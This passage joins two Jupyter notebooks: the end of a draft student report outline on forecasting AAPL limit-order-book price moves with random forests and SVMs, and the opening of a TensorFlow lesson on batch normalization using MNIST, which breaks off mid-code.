precision of our different prediction models and the profit generated from the trading strategies. Our best trading strategy is selected according to the net profit." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Introduction and Background" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Describe what the project is about and roughly our approach in each of the following 5 sections\n", "\n", "- In this project, we analyze the limit order book (LOB) of AAPL, fit a predictive model of price movements under 30 time-stamped scale using random forest and SVM respectively, 30? millsecond according to data from 9:30 to 11:00, and create a high frequency trading strategy based on it. In the end, we run the strategy on data from 11:00 to 12:28 and evaluate the net profit\n", "- The following sections are data preprocessing, model fitting, model assessment, and trading algorithm implementation" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Data Preprocessing" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Data Description" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The data we used in this project comes from the limit order book (LOB) and the message book of Apple stock. In LOB, there are 10 levels of ask/bid prices and volumes. The data is quite clean since there are no missing values nor outliers.\n", "\n", "- Add the time and limitations (only one morning, split chronologically, does not allow for seasonality effects)\n", "\n", "- Mention that we experimented with the MOB data but chose not to add the features in the end. It was sparser than originally thought" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Transformation Process\n", "\n", "We used 6 features as Kercheval and Zhang in their study. The first 40 columns are the original ask/bid prices and volumns after renaming. Then the next four features are in the time insensitive set. It contains bid-ask spreads and mid-prices, price differences, mean prices and volumes accumulated differences. The last four are time-sensitive features including price and volume derivatives, average intensity of each type, relative intensity indicators, accelerations(market/limit). \n", "\n", "- Insert the Kercheval and Zhang table (screenshot) here. With a caption acknowleding the source paper.\n", "\n", "- Insert summary statistics for key columns in the training set to give a exploratory feel of the underlying raw features.\n", "\n", "In time-sensitive features, the biggest problem we encountered is the choice of $\\Delta t$. Also, the choice of $\\Delta t$ is correlated with labels. Mainly we would like to predict stock prices by mid-price movement or price spread crossing. Price spread crossing is defined as following. (1) An upward price spread crossing appears when the best bid price at $t+\\Delta t$ is greater than the best ask price at time $t$, which is $P_{t+\\Delta t}^{Bid}>P_{t}^{Ask}$. (2) A downward price spread crossing appears when the best ask price at $t+\\Delta t$ is smaller than the best bid price at time $t$, which is $P_{t+\\Delta t}^{Ask}>P_{t}^{bid}$. (3) If the spreads of best ask price and best bid price are still crossing each other, than we consider it is no price spread crossing, which is stable status. In this case, compared to mid-price movements, price spread crossing is less possible to have upward or downward movements, particularly in high frequency trading since big $\\Delta t$ might be useless. According to our test, even we use 1000 rows as $\\Delta t$, we still get $92\\%$ stationary labels." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Deciding dt - Methodology and Reasoning" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the previous section, we explain the importance of picking good $\\Delta t$. In this section, we explain how we pick it in detail. \n", "\n", "$\\Delta t$ affect our model and strategy in at least two ways:\n", "- In our prediction model, we use price at $t+\\Delta t$ and $\\Delta t$ to create our label\n", "- In our trading strategy, we long/short one share at some point and clear it exactly $\\Delta t$ later\n", "\n", "The tradeoff we are facing can be understanded this way:\n", "\n", "In high frequency trade, any current information for profit opportunity is only valueable within an extremely short period of time. And any profit opportunity is completely exploited within a few millsecond. This implies:\n", "- Cost for using large $\\Delta t$\n", " - prediction models based on ancient information will hardly work, because we essentially using no information\n", " - the trading strategy with large $\\Delta t$ won't generate profit. Even the prediction model in some sense find a profitable opportunity, when we excute our transaction, the opportunity has already be taken by other people\n", "\n", "There is an important benefit of large $\\Delta t$. Very small $\\Delta t$ results in extremely high proportion of 'stationary' label, meaning that the price measure doesn't change. Highly imbalanced label makes machine learning algorithm too easy and make the information less efficiently used. It actually induces the machine learning algorithm to cheat by ignoring the features and only predicting too much 'stationary'.\n", "- Benefit for using large $\\Delta t$\n", " - solve the label imbalance problem and help machine learning algorithms to learn the data more efficiently\n", "\n", "In practice, we look at the proportion of each category of labels 'up', 'stationary', 'down' for different $\\Delta t$. The plot is shown below. Looking at the graph, we see that the proportion of 'stationary' falls down quickly for Midprice lables but very slowly for bid-ask spread crossing. In the end, we pick $\\Delta t_{MD} = 30$, because the proportion of 'stationary' falls down quickly before 30 and and slowly after 30. 30 is too large and gives us litter enough 'stationary'. We pick $\\Delta t_{SC} = 1000$, because the proportion at 1000 are about 0.33, 0.33, 0.33. We really like this balance property. However, we acknowlege that it is probably too large. However, as a machine learning excercise, we decide to care more about whether the algorithm is going to work better or not and sacrifices some really essential practical issues.\n", "\n", "For future extensions of this work, we can consider picking $\\Delta t_{SC} = 30$ (say) and oversampling up/ down movements to get a better data for modelling purposes. This would be another way to help mitigate the risk of the class imbalance problem inherent in the SC approach.\n", "\n", "\n", "\n", "\n", "Delete the following old skeleton version\n", "'''\n", "- Describe (using graphs and tables) the process used to determine the final dt column\n", "- Acknowledge that Johnny allowed us to use rows instead of time to determine dt\n", "- The is all of the exploratory analysis performed by FN to determine the 'optimal' dt\n", "- Explain that we settled on dt = 30 rows i.e. from the graph it is clear that the **optimal dt and why**\n", "- Explain that we looked at spread crossing but did not model on it becuase we could not get a good spread of the labels - pretty much all of them were stationary\n", "- We used dt = 1000 for SC because it gave same degree of label stability (in distribution) as MP crossing\n", "- We understand that this may be too high for actual HFT purposes but for future extensions of this work, we can consider picking dt = 30 (say) and oversampling up/ down movements to get a better data for modelling purposes. This would be another way to help mitigate the risk of the class imbalance problem inherent in the SC approach.\n", "'''\n", "\n", "<img src=\"delta_t_MP.png\">\n", "<img src=\"delta_t_SC.png\">" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Preparation of transformed data for model fitting" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Explain the split of the data - ensure that the proportions are preserved\n", " - **train**\n", " - **test**\n", " - **validation**\n", " - **train + test**\n", " - **train + test + validation**\n", " - **strategy** \n", "- We tried it on Chronological, but then decided to use a simple random shuffling approach\n", "- There is a notable limitation of this - namely that there are very highly correlated features occuring in chronolological chunks. By randomly shiffling, we not only stabilise the distribution of labels (good) but also the **emperical distribution CHECK THIS!!!** of features (not ideal). For future extensions of this work try to shuffling by these chronologically consecutive chunks across the training and test/ validation sets.\n", "- Explain that the 12:00-12:30PM data is discarded per Johnny's suggestion" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Model Fitting" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Background of SVM - Theoretical Background" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- From ISLR include a description of SVM\n", "- Explain its core strengths and weaknesses" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Background of Random Forests - Theoretical Background" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- From ISLR include a description of RF\n", "- Explain its core strengths and weaknesses and why we use it i.e. adapts well for numerical features that are not necessarily linearly separable" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Approach for Testing Models" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Explain the key parameter changes for SVM and RF\n", "- TD: Go through YAML files and produce table summarising key parameter changes" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Model Assessment" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### SVM Output" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Insert summary tables here i.e. F1, precision and recall\n", "- Explain how the output improves as we change our summary metrics" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### RF Output" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Insert summary tables here i.e. F1, precision and recall\n", "- Explain how the output improves as we change our summary metrics" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### GBM Output (If we have the time)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Insert summary tables here i.e. F1, precision and recall\n", "- Explain how the output improves as we change our summary metrics" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Interpretations" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- Understand the key features driving the model selection i.e. look at variable importance\n", "- Take the top few features and fit a simple logistic regression for up-stationary-down movements" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Trading Strategies Implementation\n", "\n", "According to the requirement of the project:\" 1. You can place only market orders, and assume that they can be executed immediately at the best bid/ask. 2. Your position can only be long/short at most one share.\" These requirement means \n", "- We can only buy at best ask price and sell at best bid price in the future\n", "- Whenever we our current position is not 0, we cannot long/short a new share\n", "\n", "We construct two trading strategies based on predictions of our best random forest models with bid-ask spread crossing labels. The two strategies are called simple strategy and finer strategy. \n", "- Whenever we make a trading decision on a new share, we long a new share if the model prediction is up, short a new share if the prediction is down, don't do anything for any new share if the prediction is stationary. \n", "- We clear any old share $\\Delta t$ timestamps after we long/short it originally.\n", "- In the simpler strategy, we only take a trading decision on a new share every other $\\Delta t$ timestamp, i.e. we consider whether to do anything at $t_0, t_{\\Delta t}, \\ldots, t_{n\\Delta t}, \\ldots$\n", "- In the finer strategy, we take a trading decision on a new share whenever our position is 0." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Discussion" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Conclusion" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- From a machine learning perspective, the black box approaches included SVM and RF. We also tried GBM\n", "- The ensemble methods of RF and GBM gave the best prediction as quantified by the F1, recall and precision scores\n", "- We designed a simple trading strategy and tested it on the data from 11:00-12:00 and noted that this transparent approach yielded an accuracy of 70% compared to the more black box approaches which gave us 85% accuracy\n", "- We note that the models should be built over a longer period of time and also randomly split by time, to ensure that we adapt to seasonal trends in a consistent manner. Perhaps longitudinal classification methods could be applied here to capture the temporal component in LOB price movements" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Acknowledgments" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "- We would like to thank Jarrod Millman and Matthew Brett for helping us set up the Python package `lobpredictrst`\n", "- We would like to thank Johnny for explaining the theoretical underpinnings of RF and SVM" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

isc

vvishwa/deep-learning

batch-norm/Batch_Normalization_Lesson.ipynb

1

571076

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization – Lesson\n", "\n", "1. [What is it?](#theory)\n", "2. [What are it's benefits?](#benefits)\n", "3. [How do we add it to a network?](#implementation_1)\n", "4. [Let's see it work!](#demos)\n", "5. [What are you hiding?](#implementation_2)\n", "\n", "# What is Batch Normalization?<a id='theory'></a>\n", "\n", "Batch normalization was introduced in Sergey Ioffe's and Christian Szegedy's 2015 paper [Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift](https://arxiv.org/pdf/1502.03167.pdf). The idea is that, instead of just normalizing the inputs to the network, we normalize the inputs to _layers within_ the network. It's called \"batch\" normalization because during training, we normalize each layer's inputs by using the mean and variance of the values in the current mini-batch.\n", "\n", "Why might this help? Well, we know that normalizing the inputs to a _network_ helps the network learn. But a network is a series of layers, where the output of one layer becomes the input to another. That means we can think of any layer in a neural network as the _first_ layer of a smaller network.\n", "\n", "For example, imagine a 3 layer network. Instead of just thinking of it as a single network with inputs, layers, and outputs, think of the output of layer 1 as the input to a two layer network. This two layer network would consist of layers 2 and 3 in our original network. \n", "\n", "Likewise, the output of layer 2 can be thought of as the input to a single layer network, consistng only of layer 3.\n", "\n", "When you think of it like that - as a series of neural networks feeding into each other - then it's easy to imagine how normalizing the inputs to each layer would help. It's just like normalizing the inputs to any other neural network, but you're doing it at every layer (sub-network).\n", "\n", "Beyond the intuitive reasons, there are good mathematical reasons why it helps the network learn better, too. It helps combat what the authors call _internal covariate shift_. This discussion is best handled [in the paper](https://arxiv.org/pdf/1502.03167.pdf) and in [Deep Learning](http://www.deeplearningbook.org) a book you can read online written by Ian Goodfellow, Yoshua Bengio, and Aaron Courville. Specifically, check out the batch normalization section of [Chapter 8: Optimization for Training Deep Models](http://www.deeplearningbook.org/contents/optimization.html)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Benefits of Batch Normalization<a id=\"benefits\"></a>\n", "\n", "Batch normalization optimizes network training. It has been shown to have several benefits:\n", "1. **Networks train faster** – Each training _iteration_ will actually be slower because of the extra calculations during the forward pass and the additional hyperparameters to train during back propagation. However, it should converge much more quickly, so training should be faster overall. \n", "2. **Allows higher learning rates** – Gradient descent usually requires small learning rates for the network to converge. And as networks get deeper, their gradients get smaller during back propagation so they require even more iterations. Using batch normalization allows us to use much higher learning rates, which further increases the speed at which networks train. \n", "3. **Makes weights easier to initialize** – Weight initialization can be difficult, and it's even more difficult when creating deeper networks. Batch normalization seems to allow us to be much less careful about choosing our initial starting weights. \n", "4. **Makes more activation functions viable** – Some activation functions do not work well in some situations. Sigmoids lose their gradient pretty quickly, which means they can't be used in deep networks. And ReLUs often die out during training, where they stop learning completely, so we need to be careful about the range of values fed into them. Because batch normalization regulates the values going into each activation function, non-linearlities that don't seem to work well in deep networks actually become viable again. \n", "5. **Simplifies the creation of deeper networks** – Because of the first 4 items listed above, it is easier to build and faster to train deeper neural networks when using batch normalization. And it's been shown that deeper networks generally produce better results, so that's great.\n", "6. **Provides a bit of regularlization** – Batch normalization adds a little noise to your network. In some cases, such as in Inception modules, batch normalization has been shown to work as well as dropout. But in general, consider batch normalization as a bit of extra regularization, possibly allowing you to reduce some of the dropout you might add to a network. \n", "7. **May give better results overall** – Some tests seem to show batch normalization actually improves the train.ing results. However, it's really an optimization to help train faster, so you shouldn't think of it as a way to make your network better. But since it lets you train networks faster, that means you can iterate over more designs more quickly. It also lets you build deeper networks, which are usually better. So when you factor in everything, you're probably going to end up with better results if you build your networks with batch normalization." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization in TensorFlow<a id=\"implementation_1\"></a>\n", "\n", "This section of the notebook shows you one way to add batch normalization to a neural network built in TensorFlow. \n", "\n", "The following cell imports the packages we need in the notebook and loads the MNIST dataset to use in our experiments. However, the `tensorflow` package contains all the code you'll actually need for batch normalization." ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Successfully downloaded train-images-idx3-ubyte.gz 9912422 bytes.\n", "Extracting MNIST_data/train-images-idx3-ubyte.gz\n", "Successfully downloaded train-labels-idx1-ubyte.gz 28881 bytes.\n", "Extracting MNIST_data/train-labels-idx1-ubyte.gz\n", "Successfully downloaded t10k-images-idx3-ubyte.gz 1648877 bytes.\n", "Extracting MNIST_data/t10k-images-idx3-ubyte.gz\n", "Successfully downloaded t10k-labels-idx1-ubyte.gz 4542 bytes.\n", "Extracting MNIST_data/t10k-labels-idx1-ubyte.gz\n" ] } ], "source": [ "# Import necessary packages\n", "import tensorflow as tf\n", "import tqdm\n", "import numpy as np\n", "import matplotlib.pyplot as plt\n", "%matplotlib inline\n", "\n", "# Import MNIST data so we have something for our experiments\n", "from tensorflow.examples.tutorials.mnist import input_data\n", "mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Neural network classes for testing\n", "\n", "The following class, `NeuralNet`, allows us to create identical neural networks with and without batch normalization. The code is heaviy documented, but there is also some additional discussion later. You do not need to read through it all before going through the rest of the notebook, but the comments within the code blocks may answer some of your questions.\n", "\n", "*About the code:*\n", ">This class is not meant to represent TensorFlow best practices – the design choices made here are to support the discussion related to batch normalization.\n", "\n", ">It's also important to note that we use the well-known MNIST data for these examples, but the networks we create are not meant to be good for performing handwritten character recognition. We chose this network architecture because it is similar to the one used in the original paper, which is complex enough to demonstrate some of the benefits of batch normalization while still being fast to train." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "class NeuralNet:\n", " def __init__(self, initial_weights, activation_fn, use_batch_norm):\n", " \"\"\"\n", " Initializes this object, creating a TensorFlow graph using the given parameters.\n", " \n", " :param initial_weights: list of NumPy arrays or Tensors\n", " Initial values for the weights for every layer in the network. We pass these in\n", " so we can create multiple networks with the same starting weights to eliminate\n", " training differences caused by random initialization differences.\n", " The number of items in the list defines the number of layers in the network,\n", " and the shapes of the items in the list define the number of nodes in each layer.\n", " e.g. Passing in 3 matrices of shape (784, 256), (256, 100), and (100, 10) would \n", " create a network with 784 inputs going into a hidden layer with 256 nodes,\n", " followed by a hidden layer with 100 nodes, followed by an output layer with 10 nodes.\n", " :param activation_fn: Callable\n", " The function used for the output of each hidden layer. The network will use the same\n", " activation function on every hidden layer and no activate function on the output layer.\n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " :param use_batch_norm: bool\n", " Pass True to create a network that uses batch normalization; False otherwise\n", " Note: this network will not use batch normalization on layers that do not have an\n", " activation function.\n", " \"\"\"\n", " # Keep track of whether or not this network uses batch normalization.\n", " self.use_batch_norm = use_batch_norm\n", " self.name = \"With Batch Norm\" if use_batch_norm else \"Without Batch Norm\"\n", "\n", " # Batch normalization needs to do different calculations during training and inference,\n", " # so we use this placeholder to tell the graph which behavior to use.\n", " self.is_training = tf.placeholder(tf.bool, name=\"is_training\")\n", "\n", " # This list is just for keeping track of data we want to plot later.\n", " # It doesn't actually have anything to do with neural nets or batch normalization.\n", " self.training_accuracies = []\n", "\n", " # Create the network graph, but it will not actually have any real values until after you\n", " # call train or test\n", " self.build_network(initial_weights, activation_fn)\n", " \n", " def build_network(self, initial_weights, activation_fn):\n", " \"\"\"\n", " Build the graph. The graph still needs to be trained via the `train` method.\n", " \n", " :param initial_weights: list of NumPy arrays or Tensors\n", " See __init__ for description. \n", " :param activation_fn: Callable\n", " See __init__ for description. \n", " \"\"\"\n", " self.input_layer = tf.placeholder(tf.float32, [None, initial_weights[0].shape[0]])\n", " layer_in = self.input_layer\n", " for weights in initial_weights[:-1]:\n", " layer_in = self.fully_connected(layer_in, weights, activation_fn) \n", " self.output_layer = self.fully_connected(layer_in, initial_weights[-1])\n", " \n", " def fully_connected(self, layer_in, initial_weights, activation_fn=None):\n", " \"\"\"\n", " Creates a standard, fully connected layer. Its number of inputs and outputs will be\n", " defined by the shape of `initial_weights`, and its starting weight values will be\n", " taken directly from that same parameter. If `self.use_batch_norm` is True, this\n", " layer will include batch normalization, otherwise it will not. \n", " \n", " :param layer_in: Tensor\n", " The Tensor that feeds into this layer. It's either the input to the network or the output\n", " of a previous layer.\n", " :param initial_weights: NumPy array or Tensor\n", " Initial values for this layer's weights. The shape defines the number of nodes in the layer.\n", " e.g. Passing in 3 matrix of shape (784, 256) would create a layer with 784 inputs and 256 \n", " outputs. \n", " :param activation_fn: Callable or None (default None)\n", " The non-linearity used for the output of the layer. If None, this layer will not include \n", " batch normalization, regardless of the value of `self.use_batch_norm`. \n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " \"\"\"\n", " # Since this class supports both options, only use batch normalization when\n", " # requested. However, do not use it on the final layer, which we identify\n", " # by its lack of an activation function.\n", " if self.use_batch_norm and activation_fn:\n", " # Batch normalization uses weights as usual, but does NOT add a bias term. This is because \n", " # its calculations include gamma and beta variables that make the bias term unnecessary.\n", " # (See later in the notebook for more details.)\n", " weights = tf.Variable(initial_weights)\n", " linear_output = tf.matmul(layer_in, weights)\n", "\n", " # Apply batch normalization to the linear combination of the inputs and weights\n", " batch_normalized_output = tf.layers.batch_normalization(linear_output, training=self.is_training)\n", "\n", " # Now apply the activation function, *after* the normalization.\n", " return activation_fn(batch_normalized_output)\n", " else:\n", " # When not using batch normalization, create a standard layer that multiplies\n", " # the inputs and weights, adds a bias, and optionally passes the result \n", " # through an activation function. \n", " weights = tf.Variable(initial_weights)\n", " biases = tf.Variable(tf.zeros([initial_weights.shape[-1]]))\n", " linear_output = tf.add(tf.matmul(layer_in, weights), biases)\n", " return linear_output if not activation_fn else activation_fn(linear_output)\n", "\n", " def train(self, session, learning_rate, training_batches, batches_per_sample, save_model_as=None):\n", " \"\"\"\n", " Trains the model on the MNIST training dataset.\n", " \n", " :param session: Session\n", " Used to run training graph operations.\n", " :param learning_rate: float\n", " Learning rate used during gradient descent.\n", " :param training_batches: int\n", " Number of batches to train.\n", " :param batches_per_sample: int\n", " How many batches to train before sampling the validation accuracy.\n", " :param save_model_as: string or None (default None)\n", " Name to use if you want to save the trained model.\n", " \"\"\"\n", " # This placeholder will store the target labels for each mini batch\n", " labels = tf.placeholder(tf.float32, [None, 10])\n", "\n", " # Define loss and optimizer\n", " cross_entropy = tf.reduce_mean(\n", " tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=self.output_layer))\n", " \n", " # Define operations for testing\n", " correct_prediction = tf.equal(tf.argmax(self.output_layer, 1), tf.argmax(labels, 1))\n", " accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n", "\n", " if self.use_batch_norm:\n", " # If we don't include the update ops as dependencies on the train step, the \n", " # tf.layers.batch_normalization layers won't update their population statistics,\n", " # which will cause the model to fail at inference time\n", " with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", " else:\n", " train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy)\n", " \n", " # Train for the appropriate number of batches. (tqdm is only for a nice timing display)\n", " for i in tqdm.tqdm(range(training_batches)):\n", " # We use batches of 60 just because the original paper did. You can use any size batch you like.\n", " batch_xs, batch_ys = mnist.train.next_batch(60)\n", " session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", " \n", " # Periodically test accuracy against the 5k validation images and store it for plotting later.\n", " if i % batches_per_sample == 0:\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.validation.images,\n", " labels: mnist.validation.labels,\n", " self.is_training: False})\n", " self.training_accuracies.append(test_accuracy)\n", "\n", " # After training, report accuracy against test data\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.validation.images,\n", " labels: mnist.validation.labels,\n", " self.is_training: False})\n", " print('{}: After training, final accuracy on validation set = {}'.format(self.name, test_accuracy))\n", "\n", " # If you want to use this model later for inference instead of having to retrain it,\n", " # just construct it with the same parameters and then pass this file to the 'test' function\n", " if save_model_as:\n", " tf.train.Saver().save(session, save_model_as)\n", "\n", " def test(self, session, test_training_accuracy=False, include_individual_predictions=False, restore_from=None):\n", " \"\"\"\n", " Trains a trained model on the MNIST testing dataset.\n", "\n", " :param session: Session\n", " Used to run the testing graph operations.\n", " :param test_training_accuracy: bool (default False)\n", " If True, perform inference with batch normalization using batch mean and variance;\n", " if False, perform inference with batch normalization using estimated population mean and variance.\n", " Note: in real life, *always* perform inference using the population mean and variance.\n", " This parameter exists just to support demonstrating what happens if you don't.\n", " :param include_individual_predictions: bool (default True)\n", " This function always performs an accuracy test against the entire test set. But if this parameter\n", " is True, it performs an extra test, doing 200 predictions one at a time, and displays the results\n", " and accuracy.\n", " :param restore_from: string or None (default None)\n", " Name of a saved model if you want to test with previously saved weights.\n", " \"\"\"\n", " # This placeholder will store the true labels for each mini batch\n", " labels = tf.placeholder(tf.float32, [None, 10])\n", "\n", " # Define operations for testing\n", " correct_prediction = tf.equal(tf.argmax(self.output_layer, 1), tf.argmax(labels, 1))\n", " accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n", "\n", " # If provided, restore from a previously saved model\n", " if restore_from:\n", " tf.train.Saver().restore(session, restore_from)\n", "\n", " # Test against all of the MNIST test data\n", " test_accuracy = session.run(accuracy, feed_dict={self.input_layer: mnist.test.images,\n", " labels: mnist.test.labels,\n", " self.is_training: test_training_accuracy})\n", " print('-'*75)\n", " print('{}: Accuracy on full test set = {}'.format(self.name, test_accuracy))\n", "\n", " # If requested, perform tests predicting individual values rather than batches\n", " if include_individual_predictions:\n", " predictions = []\n", " correct = 0\n", "\n", " # Do 200 predictions, 1 at a time\n", " for i in range(200):\n", " # This is a normal prediction using an individual test case. However, notice\n", " # we pass `test_training_accuracy` to `feed_dict` as the value for `self.is_training`.\n", " # Remember that will tell it whether it should use the batch mean & variance or\n", " # the population estimates that were calucated while training the model.\n", " pred, corr = session.run([tf.arg_max(self.output_layer,1), accuracy],\n", " feed_dict={self.input_layer: [mnist.test.images[i]],\n", " labels: [mnist.test.labels[i]],\n", " self.is_training: test_training_accuracy})\n", " correct += corr\n", "\n", " predictions.append(pred[0])\n", "\n", " print(\"200 Predictions:\", predictions)\n", " print(\"Accuracy on 200 samples:\", correct/200)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are quite a few comments in the code, so those should answer most of your questions. However, let's take a look at the most important lines.\n", "\n", "We add batch normalization to layers inside the `fully_connected` function. Here are some important points about that code:\n", "1. Layers with batch normalization do not include a bias term.\n", "2. We use TensorFlow's [`tf.layers.batch_normalization`](https://www.tensorflow.org/api_docs/python/tf/layers/batch_normalization) function to handle the math. (We show lower-level ways to do this [later in the notebook](#implementation_2).)\n", "3. We tell `tf.layers.batch_normalization` whether or not the network is training. This is an important step we'll talk about later.\n", "4. We add the normalization **before** calling the activation function.\n", "\n", "In addition to that code, the training step is wrapped in the following `with` statement:\n", "```python\n", "with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n", "```\n", "This line actually works in conjunction with the `training` parameter we pass to `tf.layers.batch_normalization`. Without it, TensorFlow's batch normalization layer will not operate correctly during inference.\n", "\n", "Finally, whenever we train the network or perform inference, we use the `feed_dict` to set `self.is_training` to `True` or `False`, respectively, like in the following line:\n", "```python\n", "session.run(train_step, feed_dict={self.input_layer: batch_xs, \n", " labels: batch_ys, \n", " self.is_training: True})\n", "```\n", "We'll go into more details later, but next we want to show some experiments that use this code and test networks with and without batch normalization." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Batch Normalization Demos<a id='demos'></a>\n", "This section of the notebook trains various networks with and without batch normalization to demonstrate some of the benefits mentioned earlier. \n", "\n", "We'd like to thank the author of this blog post [Implementing Batch Normalization in TensorFlow](http://r2rt.com/implementing-batch-normalization-in-tensorflow.html). That post provided the idea of - and some of the code for - plotting the differences in accuracy during training, along with the idea for comparing multiple networks using the same initial weights." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Code to support testing\n", "\n", "The following two functions support the demos we run in the notebook. \n", "\n", "The first function, `plot_training_accuracies`, simply plots the values found in the `training_accuracies` lists of the `NeuralNet` objects passed to it. If you look at the `train` function in `NeuralNet`, you'll see it that while it's training the network, it periodically measures validation accuracy and stores the results in that list. It does that just to support these plots.\n", "\n", "The second function, `train_and_test`, creates two neural nets - one with and one without batch normalization. It then trains them both and tests them, calling `plot_training_accuracies` to plot how their accuracies changed over the course of training. The really imporant thing about this function is that it initializes the starting weights for the networks _outside_ of the networks and then passes them in. This lets it train both networks from the exact same starting weights, which eliminates performance differences that might result from (un)lucky initial weights." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def plot_training_accuracies(*args, **kwargs):\n", " \"\"\"\n", " Displays a plot of the accuracies calculated during training to demonstrate\n", " how many iterations it took for the model(s) to converge.\n", " \n", " :param args: One or more NeuralNet objects\n", " You can supply any number of NeuralNet objects as unnamed arguments \n", " and this will display their training accuracies. Be sure to call `train` \n", " the NeuralNets before calling this function.\n", " :param kwargs: \n", " You can supply any named parameters here, but `batches_per_sample` is the only\n", " one we look for. It should match the `batches_per_sample` value you passed\n", " to the `train` function.\n", " \"\"\"\n", " fig, ax = plt.subplots()\n", "\n", " batches_per_sample = kwargs['batches_per_sample']\n", " \n", " for nn in args:\n", " ax.plot(range(0,len(nn.training_accuracies)*batches_per_sample,batches_per_sample),\n", " nn.training_accuracies, label=nn.name)\n", " ax.set_xlabel('Training steps')\n", " ax.set_ylabel('Accuracy')\n", " ax.set_title('Validation Accuracy During Training')\n", " ax.legend(loc=4)\n", " ax.set_ylim([0,1])\n", " plt.yticks(np.arange(0, 1.1, 0.1))\n", " plt.grid(True)\n", " plt.show()\n", "\n", "def train_and_test(use_bad_weights, learning_rate, activation_fn, training_batches=50000, batches_per_sample=500):\n", " \"\"\"\n", " Creates two networks, one with and one without batch normalization, then trains them\n", " with identical starting weights, layers, batches, etc. Finally tests and plots their accuracies.\n", " \n", " :param use_bad_weights: bool\n", " If True, initialize the weights of both networks to wildly inappropriate weights;\n", " if False, use reasonable starting weights.\n", " :param learning_rate: float\n", " Learning rate used during gradient descent.\n", " :param activation_fn: Callable\n", " The function used for the output of each hidden layer. The network will use the same\n", " activation function on every hidden layer and no activate function on the output layer.\n", " e.g. Pass tf.nn.relu to use ReLU activations on your hidden layers.\n", " :param training_batches: (default 50000)\n", " Number of batches to train.\n", " :param batches_per_sample: (default 500)\n", " How many batches to train before sampling the validation accuracy.\n", " \"\"\"\n", " # Use identical starting weights for each network to eliminate differences in\n", " # weight initialization as a cause for differences seen in training performance\n", " #\n", " # Note: The networks will use these weights to define the number of and shapes of\n", " # its layers. The original batch normalization paper used 3 hidden layers\n", " # with 100 nodes in each, followed by a 10 node output layer. These values\n", " # build such a network, but feel free to experiment with different choices.\n", " # However, the input size should always be 784 and the final output should be 10.\n", " if use_bad_weights:\n", " # These weights should be horrible because they have such a large standard deviation\n", " weights = [np.random.normal(size=(784,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,100), scale=5.0).astype(np.float32),\n", " np.random.normal(size=(100,10), scale=5.0).astype(np.float32)\n", " ]\n", " else:\n", " # These weights should be good because they have such a small standard deviation\n", " weights = [np.random.normal(size=(784,100), 